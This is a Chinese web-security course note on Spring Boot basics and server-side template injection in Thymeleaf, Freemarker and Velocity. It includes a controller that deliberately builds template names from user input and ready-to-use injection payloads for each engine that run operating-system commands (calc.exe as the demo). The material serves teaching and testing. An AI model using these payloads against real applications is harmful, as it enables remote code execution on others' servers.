第49天:Web开发-JavaEE应用&SpringBoot栈&模版注入&Thymeleaf&Freemarker&Velocity

开发框架-SpringBoot

参考:https://springdoc.cn/spring-boot/

1、路由映射

@RequestMapping@GetMapping等

2、参数传递

@RequestParam

3、数据响应

@RestController@Controller

@RestController注解相当于@ResponseBody+@Controller合作用。

模版引擎

Thymeleaf

参考:https://xz.aliyun.com/news/9962

1、新建SpringBoot项目包含Web,Thymeleaf

2、配置application.properties修改缓存

3、创建模版目录和文件,文件定义修改变量

4、新建Controller目录及文件,指定路由配置

5、更换SpringBoot及Thymeleaf版本测试POC

@Controller

publicclassIndexController{

@RequestMapping("/index")

publicStringindex(Model model){

//替换模版html文件中的data变量值

model.addAttribute("data","你好 小迪");

//使用index模版文件

return"index";

}

@RequestMapping("/indexs")

publicStringindex(Model model,@RequestParamString lang){

//替换模版html文件中的data变量值

model.addAttribute("data","Hello xiaodi");

//使用index+变量lang模版文件

return"index-"+lang;

}

}

利用条件:Thymeleaf漏洞版本,可控模版变量

Poc:$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc.exe%22).getInputStream()).next()%7d::.x

Freemarker

参考:https://mp.weixin.qq.com/s/TtNxfSYsB4HMEpW_OBniew

1、新建SpringBoot项目包含Web,Freemarker

2、配置application.properties修改缓存

3、创建模版目录和文件,文件定义修改变量

4、新建Controller目录及文件,指定路由配置

5、更换SpringBoot及Freemarker版本测试POC

<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}

<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}

<#assign value="freemarker.template.utility.JythonRuntime"?new()>${value("calc.exe")}<@value>importos;os.system("calc.exe")</@value>//@value为自定义标签

利用条件:可控渲染的模版文件

Velocity

参考:https://blog.csdn.net/2401_83799022/article/details/141600988

<dependency>

<groupId>org.apache.velocity</groupId>

<artifactId>velocity</artifactId>

<version>1.7</version>

</dependency>

1、Velocity.evaluate

2、template.merge(ctx, out)

Poc:%23set(e%3D"e")e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")

利用条件:Velocity漏洞版本,可控模版变量或文件

就是上面的username值可控造成的ssti

这里另一个ssti

创建index.vm

新建配置文件

访问连接

http://127.0.0.1:8080/generate?=name=Alice&price=10.99&quantity=3

相关推荐
ps酷教程12 小时前
Jackson 解决没有无参构造函数的反序列化问题
java
NiceCloud喜云12 小时前
Opus 4.8 的 Effort Control 怎么选:Low 到 Max 五档策略
android·java·大数据·前端·c++·python·spring
为思念酝酿的痛12 小时前
POSIX信号量
linux·运维·服务器·后端
小羊在睡觉12 小时前
力扣84. 柱状图中最大的矩形
后端·算法·leetcode·golang·go
_日拱一卒13 小时前
LeetCode:994腐烂的橘子
java·数据结构·算法·leetcode·深度优先
swipe13 小时前
Neo4j + Graph RAG 医疗知识图谱工程实践:患者教育问答真正需要的是“关系可追溯”
后端·langchain·llm
隔窗听雨眠13 小时前
Nginx网关响应慢排查手记
java·服务器·nginx
智慧物业老杨14 小时前
智慧物业合同周期管理系统:从风险预警到智能交接的全流程数智化落地方案
java·人工智能·python
源码宝14 小时前
MES系统源码:Java8 + SpringBoot2.7 + MySQL8 + Redis,后端源码清爽易扩展
java·后端·源码·springboot·mes系统·源码二开·mes源码
JAVA社区14 小时前
Java高级全套教程(十)—— SpringCloudAlibaba超详细实战详解
java·开发语言·spring cloud·面试·职场和发展